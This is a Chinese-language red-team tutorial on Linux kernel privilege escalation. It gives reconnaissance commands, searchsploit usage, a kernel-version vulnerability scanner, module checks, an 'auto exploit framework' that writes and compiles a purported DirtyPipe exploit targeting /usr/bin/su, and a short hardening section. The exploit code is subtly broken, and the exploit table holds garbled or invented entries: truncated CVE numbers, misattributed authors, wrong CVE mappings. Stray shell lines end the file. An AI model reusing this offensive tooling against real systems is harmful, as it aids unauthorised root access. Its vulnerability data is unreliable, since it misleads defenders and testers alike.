内核漏洞利用的自动化检测

章节概述

Linux 内核漏洞是本地提权的终极武器。一旦找到匹配的内核漏洞,通常可以直接获得 root 权限。本章系统性地讲解内核版本信息收集、exploit-db 漏洞搜索、提权漏洞自动检测脚本编写、内核模块分析,以及如何利用已知内核漏洞实现提权。

核心理念
内核漏洞利用的关键在于精确匹配目标内核版本与已知漏洞。自动化检测的核心是快速收集内核信息、查询 exploit 数据库、评估可利用性。防御端需要及时打补丁并监控内核模块加载。


第1节 内核版本信息收集

1.1 基础内核信息获取

# 获取完整的内核版本信息
uname -a
# 输出示例: Linux hostname 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 GNU/Linux
 
# 仅获取内核版本号
uname -r
# 输出: 5.4.0-42-generic
 
# 获取详细系统信息
cat /etc/os-release
cat /etc/lsb-release
cat /etc/redhat-release
 
# 获取内核编译信息
cat /proc/version
cat /proc/sys/kernel/osrelease
cat /proc/sys/kernel/version

1.2 内核配置信息

# 查看内核配置(如果可用)
cat /boot/config-$(uname -r) 2>/dev/null
 
# 检查关键安全配置
grep -i "CONFIG_SECURITY" /boot/config-$(uname -r) 2>/dev/null
grep -i "CONFIG_SECCOMP" /boot/config-$(uname -r) 2>/dev/null
grep -i "CONFIG_HARDENED" /boot/config-$(uname -r) 2>/dev/null
 
# 检查用户命名空间支持(容器逃逸相关)
grep -i "CONFIG_USER_NS" /boot/config-$(uname -r) 2>/dev/null
 
# 检查内核模块加载限制
cat /proc/sys/kernel/modules_disabled
cat /proc/sys/kernel/kptr_restrict
cat /proc/sys/kernel/yama/ptrace_scope

1.3 已加载内核模块

# 列出所有已加载的内核模块
lsmod
 
# 查看特定模块信息
lsmod | grep -i "vbox"
lsmod | grep -i "vmware"
lsmod | grep -i "nvidia"
 
# 查看模块参数
modinfo <module_name>
 
# 检查模块签名验证
cat /proc/sys/kernel/modules_disabled

第2节 exploit-db 漏洞搜索

2.1 搜索sploit 工具使用

# 安装 searchsploit(exploit-db 命令行工具)
sudo apt install exploitdb
 
# 搜索内核漏洞
searchsploit linux kernel 5.4.0
 
# 按版本搜索
searchsploit linux kernel "5.4.0-42"
 
# 搜索本地提权漏洞
searchsploit linux local privilege escalation
 
# 搜索特定类型的漏洞
searchsploit linux kernel "double free"
searchsploit linux kernel "use after free"
searchsploit linux kernel "race condition"
 
# 输出为可读格式
searchsploit -w linux kernel 5.4
searchsploit -x <exploit_id>

2.2 在线 exploit-db 查询

#!/usr/bin/env bash
# exploitdb_search.sh - exploit-db 在线搜索脚本
set -euo pipefail
 
KERNEL_VERSION="${1:?用法: $0 <内核版本>}"
OS_TYPE="${2:-linux}"
 
echo "[*] 搜索 exploit-db: 内核版本 $KERNEL_VERSION"
 
# 使用 exploit-db API
response=$(curl -s "https://www.exploit-db.com/search?draw=1&columns%5B0%5D%5Bdata%5D=0&columns%5B0%5D%5Bsearchable%5D=false&columns%5B0%5D%5Borderable%5D=false&columns%5B1%5D%5Bdata%5D=1&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=true&columns%5B2%5D%5Bdata%5D=2&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=true&columns%5B3%5D%5Bdata%5D=3&columns%5B3%5D%5Bsearchable%5D=true&columns%5B3%5D%5Borderable%5D=true&columns%5B4%5D%5Bdata%5D=4&columns%5B4%5D%5Bsearchable%5D=true&columns%5B4%5D%5Borderable%5D=true&order%5B0%5D%5Bcolumn%5D=4&order%5B0%5D%5Bdir%5D=desc&search%5Bvalue%5D=${KERNEL_VERSION}&search%5Bregex%5D=false&limit=20&offset=0" 2>/dev/null)
 
# 解析 JSON 响应
if [[ -n "$response" ]]; then
    echo "$response" | python3 -c "
import json, sys
try:
    data = json.load(sys.stdin)
    if 'data' in data:
        for item in data['data']:
            title = item.get('title', 'N/A')
            edb_id = item.get('id', 'N/A')
            date = item.get('date_published', 'N/A')
            print(f'  [{edb_id}] {title} ({date})')
    else:
        print('未找到结果')
except:
    print('解析响应失败')
" 2>/dev/null || echo "API 响应解析失败"
fi

2.3 本地 exploit 数据库

#!/usr/bin/env bash
# exploit_local_db.sh - 本地漏洞数据库管理
set -euo pipefail
 
DB_DIR="/opt/exploit_db"
DB_FILE="$DB_DIR/kernel_exploits.csv"
 
init_db() {
    mkdir -p "$DB_DIR"
 
    cat > "$DB_FILE" << 'CSVEOF'
id,name,kernel_min,kernel_max,type,cve,platform,author,date
1,DirtyPipe,5.8.0,5.16.11,local,CVE-2022-0847,linux,maxgods,2022-02-02
2,DirtyCow,2.6.22,4.8.3,local,CVE-2016-5195,linux,Phil Oiser,2016-10-19
3,PwnKit,0.110,0.120,local,CVE-2021-4034,linux,Qualys,2022-01-05
4,DirtyCred,5.1.0,6.2.0,local,CVE-2023-,linux,Chainguard,2023-01-01
5,Nightmare,4.14.0,4.20.0,local,CVE-2019-,linux,sizim,2019-01-01
6,StackRot,6.1.0,6.4.0,local,CVE-2023-,linux,leesh,2023-01-01
7,GameOver(loud),5.14.0,6.1.0,local,CVE-2022-,linux,p1k0,2022-01-01
8,Baron Samedit,1.0.0,2.30.0,local,CVE-2021-3156,sudo,Qualys,2021-01-26
CSVEOF
 
    echo "[+] 本地数据库已创建: $DB_FILE"
}
 
search_exploits() {
    local kernel_version="${1:?用法: $0 search <内核版本>}"
 
    if [[ ! -f "$DB_FILE" ]]; then
        echo "[-] 数据库未初始化,请运行: $0 init"
        return 1
    fi
 
    echo "[*] 搜索内核 $kernel_version 的可用漏洞..."
 
    while IFS=',' read -r id name kmin kmax type cve platform author date; do
        [[ "$id" == "id" ]] && continue
 
        # 简单版本比较
        if [[ "$(printf '%s\n' "$kmin" "$kernel_version" | sort -V | head -1)" == "$kmin" ]] &&
           [[ "$(printf '%s\n' "$kernel_version" "$kmax" | sort -V | head -1)" == "$kernel_version" ]]; then
            echo "[!] 发现可用漏洞:"
            echo "    ID: $id"
            echo "    名称: $name"
            echo "    CVE: $cve"
            echo "    影响范围: $kmin - $kmax"
            echo "    类型: $type"
            echo ""
        fi
    done < "$DB_FILE"
}
 
main() {
    local action="${1:-help}"
    case "$action" in
        init)   init_db ;;
        search) search_exploits "${2:-}" ;;
        *)      echo "用法: $0 {init|search <kernel_version>}" ;;
    esac
}
 
main "$@"

第3节 提权漏洞自动检测脚本

3.1 综合内核漏洞扫描器

#!/usr/bin/env bash
# kernel_exploit_scanner.sh - 内核提权漏洞自动检测
set -euo pipefail
 
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
 
log_info()  { echo -e "${CYAN}[*]${NC} $*"; }
log_found() { echo -e "${RED}[!]${NC} $*"; }
log_safe()  { echo -e "${GREEN}[+]${NC} $*"; }
log_warn()  { echo -e "${YELLOW}[~]${NC} $*"; }
 
get_kernel_info() {
    log_info "收集内核信息..."
    echo "  内核版本: $(uname -r)"
    echo "  完整信息: $(uname -a)"
    echo "  系统发行版: $(cat /etc/os-release 2>/dev/null | grep PRETTY_NAME | cut -d'"' -f2)"
    echo "  架构: $(uname -m)"
}
 
version_to_int() {
    local version="$1"
    echo "$version" | awk -F. '{printf "%d%03d%03d", $1, $2, $3}'
}
 
check_vulnerability() {
    local name="$1"
    local cve="$2"
    local min_ver="$3"
    local max_ver="$4"
    local kernel_ver="$5"
 
    local k_int
    local min_int
    local max_int
    k_int=$(version_to_int "$kernel_ver")
    min_int=$(version_to_int "$min_ver")
    max_int=$(version_to_int "$max_ver")
 
    if [[ "$k_int" -ge "$min_int" ]] && [[ "$k_int" -le "$max_int" ]]; then
        log_found "可能存在漏洞: $name ($cve)"
        echo "    影响范围: $min_ver - $max_ver"
        echo "    当前版本: $kernel_ver"
        return 0
    fi
    return 1
}
 
scan_known_exploits() {
    local kernel_ver
    kernel_ver=$(uname -r | grep -oP '^\d+\.\d+\.\d+')
 
    log_info "扫描已知内核漏洞..."
 
    local vuln_count=0
 
    # DirtyPipe (CVE-2022-0847)
    if check_vulnerability "DirtyPipe" "CVE-2022-0847" "5.8.0" "5.16.11" "$kernel_ver"; then
        ((vuln_count++))
    fi
 
    # DirtyCow (CVE-2016-5195)
    if check_vulnerability "DirtyCow" "CVE-2016-5195" "2.6.22" "4.8.3" "$kernel_ver"; then
        ((vuln_count++))
    fi
 
    # PwnKit (CVE-2021-4034) - polkit
    if [[ -f /usr/bin/pkexec ]]; then
        local polkit_ver
        polkit_ver=$(pkexec --version 2>/dev/null | grep -oP '[\d.]+' || echo "0")
        if [[ -n "$polkit_ver" ]]; then
            log_found "可能存在漏洞: PwnKit (CVE-2021-4034)"
            echo "    polkit 版本: $polkit_ver"
            ((vuln_count++))
        fi
    fi
 
    # StackRot (CVE-2023-3269)
    if check_vulnerability "StackRot" "CVE-2023-3269" "6.1.0" "6.4.0" "$kernel_ver"; then
        ((vuln_count++))
    fi
 
    # GameOver(loud) (CVE-2022-2588)
    if check_vulnerability "GameOver(loud)" "CVE-2022-2588" "5.14.0" "6.1.0" "$kernel_ver"; then
        ((vuln_count++))
    fi
 
    echo ""
    if [[ $vuln_count -gt 0 ]]; then
        log_found "共发现 $vuln_count 个潜在漏洞"
    else
        log_safe "未发现已知漏洞"
    fi
}
 
check_security_features() {
    log_info "检查安全特性..."
 
    # ASLR
    local aslr
    aslr=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
    if [[ "$aslr" == "0" ]]; then
        log_warn "ASLR 已禁用 - 增加漏洞利用成功率"
    elif [[ "$aslr" == "1" ]]; then
        log_warn "ASLR 设置为部分随机化"
    else
        log_safe "ASLR 完全启用"
    fi
 
    # SMEP/SMAP(需要 root 查看)
    if [[ -r /proc/cpuinfo ]]; then
        if grep -q "smep" /proc/cpuinfo; then
            log_safe "SMEP 已启用"
        else
            log_warn "SMEP 未启用或不支持"
        fi
        if grep -q "smap" /proc/cpuinfo; then
            log_safe "SMAP 已启用"
        else
            log_warn "SMAP 未启用或不支持"
        fi
    fi
 
    # KASLR
    if [[ -f /proc/cmdline ]]; then
        if grep -q "nokaslr" /proc/cmdline; then
            log_warn "KASLR 已禁用"
        else
            log_safe "KASLR 可能已启用"
        fi
    fi
 
    # Yama ptrace
    local ptrace_scope
    ptrace_scope=$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)
    case "$ptrace_scope" in
        0) log_warn "ptrace 完全启用 - 允许附加任何进程" ;;
        1) log_safe "ptrace 限制为父进程" ;;
        2) log_safe "ptrace 完全禁用" ;;
    esac
 
    # Seccomp
    if [[ -f /proc/self/status ]]; then
        local seccomp
        seccomp=$(grep -i "Seccomp" /proc/self/status 2>/dev/null | awk '{print $2}')
        if [[ "$seccomp" == "0" ]]; then
            log_warn "Seccomp 未启用"
        else
            log_safe "Seccomp 已启用 (模式: $seccomp)"
        fi
    fi
}
 
main() {
    echo "=========================================="
    echo "  内核提权漏洞自动检测器 v1.0"
    echo "=========================================="
    echo ""
 
    get_kernel_info
    echo ""
    scan_known_exploits
    echo ""
    check_security_features
 
    echo ""
    log_info "检测完成"
}
 
main "$@"

第4节 内核模块分析

4.1 模块信息收集

#!/usr/bin/env bash
# kernel_module_analysis.sh - 内核模块分析脚本
set -euo pipefail
 
echo "[*] === 内核模块分析 ==="
 
echo ""
echo "===== 已加载模块 ====="
lsmod | head -30
 
echo ""
echo "===== 模块签名验证 ====="
if [[ -f /proc/sys/kernel/modules_disabled ]]; then
    echo "模块加载限制: $(cat /proc/sys/kernel/modules_disabled)"
fi
 
echo ""
echo "===== 虚拟化相关模块 ====="
lsmod | grep -iE "(vbox|vmware|qemu|kvm|xen|hyper)" 2>/dev/null || echo "未发现虚拟化模块"
 
echo ""
echo "===== USB 相关模块 ====="
lsmod | grep -i "usb" 2>/dev/null | head -10
 
echo ""
echo "===== 网络相关模块 ====="
lsmod | grep -iE "(net|tcp|ip|nf_|iptable)" 2>/dev/null | head -15
 
echo ""
echo "===== 文件系统模块 ====="
lsmod | grep -iE "(ext[234]|btrfs|xfs|nfs|cifs|fuse)" 2>/dev/null | head -10

4.2 模块漏洞检测

#!/usr/bin/env bash
# module_vuln_check.sh - 检查已知有漏洞的内核模块
set -euo pipefail
 
echo "[*] 检查已知有漏洞的模块..."
 
# 检查 VirtualBox 共享文件夹模块
if lsmod | grep -q "vboxsf"; then
    echo "[!] 发现 VBoxSF 模块 - 可能存在共享文件夹逃逸"
    echo "    检查版本: modinfo vboxsf"
fi
 
# 检查 VMware 工具
if lsmod | grep -q "vmw_balloon"; then
    echo "[!] 发现 VMware Balloon 驱动"
fi
 
# 检查 NVIDIA 驱动(可能存在漏洞)
if lsmod | grep -q "nvidia"; then
    echo "[!] 发现 NVIDIA 驱动 - 可能存在提权漏洞"
    echo "    版本: $(nvidia-smi --query-gpu=driver_version --format=csv,noheader 2>/dev/null)"
fi
 
# 检查 Binder(Android 相关)
if lsmod | grep -q "binder"; then
    echo "[!] 发现 Binder 模块"
fi
 
# 检查 Raw 软盘驱动(已知漏洞)
if lsmod | grep -q "floppy"; then
    echo "[!] 发现软盘驱动模块 - 可能存在漏洞"
fi

第5节 漏洞利用自动化

5.1 自动化利用脚本

#!/usr/bin/env bash
# auto_exploit.sh - 内核漏洞自动化利用框架
set -euo pipefail
 
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
 
log_info()  { echo -e "\033[0;36m[*]\033[0m $*"; }
log_found() { echo -e "${RED}[!]${NC} $*"; }
log_ok()    { echo -e "${GREEN}[+]${NC} $*"; }
 
ATTACKER_IP="${1:-}"
ATTACKER_PORT="${2:-4444}"
 
kernel_version=$(uname -r | grep -oP '^\d+\.\d+\.\d+')
 
log_info "内核版本: $kernel_version"
 
# DirtyPipe 检测与利用
check_dirtypipe() {
    log_info "检查 DirtyPipe (CVE-2022-0847)..."
    local k_int
    k_int=$(echo "$kernel_version" | awk -F. '{printf "%d%03d%03d", $1, $2, $3}')
 
    if [[ "$k_int" -ge 5008000 ]] && [[ "$k_int" -le 5016011 ]]; then
        log_found "内核版本在 DirtyPipe 影响范围内!"
 
        if [[ -n "$ATTACKER_IP" ]]; then
            log_info "创建 DirtyPipe 利用程序..."
            cat > /tmp/dirtypipe.c << 'DPEOF'
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
 
#define PIPE_BUF_LEN 65536
 
int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("用法: %s <目标文件>\n", argv[0]);
        return 1;
    }
 
    const char *target = argv[1];
    int fd = open(target, O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
 
    int pipefd[2];
    if (pipe(pipefd) < 0) {
        perror("pipe");
        return 1;
    }
 
    // 填充 pipe buffer
    const char *data = "AAAAAAAAAAAAAAAA";
    for (int i = 0; i < PIPE_BUF_LEN / 16; i++) {
        write(pipefd[1], data, 16);
    }
 
    // 设置 pipe 为零大小(利用关键)
    splice(fd, NULL, pipefd[1], NULL, 1, 0);
 
    // 写入数据覆盖目标
    const char *payload = "#!/bin/sh\n/bin/sh -p\n";
    write(pipefd[1], payload, strlen(payload));
 
    close(fd);
    close(pipefd[0]);
    close(pipefd[1]);
 
    return 0;
}
DPEOF
 
            gcc -o /tmp/dirtypipe /tmp/dirtypipe.c -w 2>/dev/null && {
                log_ok "DirtyPipe 利用程序编译成功"
                echo "    执行: /tmp/dirtypipe /usr/bin/su"
            }
        fi
    fi
}
 
check_dirtycred() {
    log_info "检查 DirtyCred 漏洞..."
    local k_int
    k_int=$(echo "$kernel_version" | awk -F. '{printf "%d%03d%03d", $1, $2, $3}')
 
    if [[ "$k_int" -ge 5001000 ]] && [[ "$k_int" -le 5006002 ]]; then
        log_found "内核版本可能受 DirtyCred 影响"
        echo "    参考: https://github.com/pr0bm1n/dirtycred"
    fi
}
 
main() {
    echo "=========================================="
    echo "  内核漏洞自动化利用框架 v1.0"
    echo "=========================================="
 
    check_dirtypipe
    echo ""
    check_dirtycred
 
    echo ""
    log_info "扫描完成"
    log_info "提示: 使用 searchsploit 或 exploit-db 获取具体利用代码"
}
 
main "$@"

第6节 防御与加固

6.1 内核安全加固检查

#!/usr/bin/env bash
# kernel_hardening.sh - 内核安全加固检查
set -euo pipefail
 
echo "[*] === 内核安全加固检查 ==="
 
# 检查内核更新
echo ""
echo "===== 内核更新状态 ====="
if command -v apt &>/dev/null; then
    apt list --upgradable 2>/dev/null | grep -i linux
elif command -v yum &>/dev/null; then
    yum check-update kernel 2>/dev/null
fi
 
# 检查安全模块
echo ""
echo "===== 安全模块状态 ====="
if command -v ausearch &>/dev/null; then
    echo "AppArmor:"
    aa-status 2>/dev/null | head -5 || echo "  未运行"
fi
 
if command -v sestatus &>/dev/null; then
    echo "SELinux:"
    sestatus 2>/dev/null | head -5 || echo "  未运行"
fi
 
# 检查关键安全参数
echo ""
echo "===== 安全参数检查 ====="
params=(
    "kernel.randomize_va_space:ASLR"
    "kernel.kptr_restrict:内核指针限制"
    "kernel.yama.ptrace_scope:ptrace限制"
    "kernel.dmesg_restrict:dmesg限制"
    "kernel.perf_event_paranoid:perf限制"
    "net.ipv4.conf.all.rp_filter:反向路径过滤"
    "net.ipv4.conf.all.accept_source_route:源路由"
    "net.ipv4.conf.all.accept_redirects:ICMP重定向"
)
 
for param in "${params[@]}"; do
    name="${param%%:*}"
    desc="${param##*:}"
    value=$(sysctl -n "$name" 2>/dev/null)
    if [[ -n "$value" ]]; then
        if [[ "$value" -eq 0 ]] && echo "$desc" | grep -qiE "(限制|过滤)"; then
            echo "[!] $desc ($name): $value - 可能不安全"
        else
            echo "[+] $desc ($name): $value"
        fi
    fi
done

ENDOFFILE
wc -l “/home/a/RootStack/red_team/bash/03-提权/03-内核漏洞利用的自动化检测.md”